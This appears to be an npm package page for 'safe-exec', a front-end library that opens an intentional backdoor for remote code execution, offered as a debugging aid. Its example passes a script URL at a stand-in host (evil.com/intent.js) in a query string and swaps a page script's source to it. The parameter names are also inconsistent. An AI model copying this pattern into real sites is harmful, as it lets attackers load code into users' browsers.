0.1.8 • Published 10 years ago

safe-exec v0.1.8

Weekly downloads
2
License
MIT
Repository
github
Last release
10 years ago

safe-exec

Build Status npm Bower

Controlled remote code execution. Great for debugging on a live server. Extremely dangerous for everything else.

Uses RSA key pairs.

Installation

Via npm:

npm install safe-exec

Via Bower:

bower install safe-exec

Test

make test

Example

Visit page with very some specific query parameters:

  • publicKey - plain text passphrase. WARNING: Persisted in session.
  • message - optional value of any kind.
http://example.com?privateKey=foobar&message=http://evil.com/intent.js

Then somewhere in your code:

const success = (message) => {
  let victim = document.querySelector('script[src="foobar.js"]');

  victim.setAttribute('src', message);
};

const failure = (error) => {
  console.log(error);
};

exec(location.search, 'somereallylongcipher', sessionStorage, success, failure);

FAQ

Wow this is a great idea! Should I use this in production?

You should never use this in a production environment. This library creates an intentional backdoor for your front-end, which is a huge security risk.

Why would you intentionally build a backdoor?

This is useful for environments that are difficult replicate on your local machine. It helps to speed up development and debugging.

API

exec(search, publicKey, sessionStorage, cb) boolean

Executes code if a valid public/private key pair is present.

  • search - should just be window.location.search.
  • publicKey - any valid RSA public key.
  • sessionStorage - pass a reference to DOM sessionStorage to persist execution across session.
  • success - callback message => where code execution is defined.
  • error - callback error => giving the object where the error occurred.

Returns true on success and false on failure.

License

MIT


pori.io  ·  GitHub @pori  ·  Twitter @pori_alex

0.1.8

10 years ago

0.1.7

10 years ago

0.1.6

10 years ago

0.1.5

10 years ago

0.1.4

10 years ago

0.1.3

10 years ago

0.1.2

10 years ago

0.1.1

10 years ago

0.1.0

10 years ago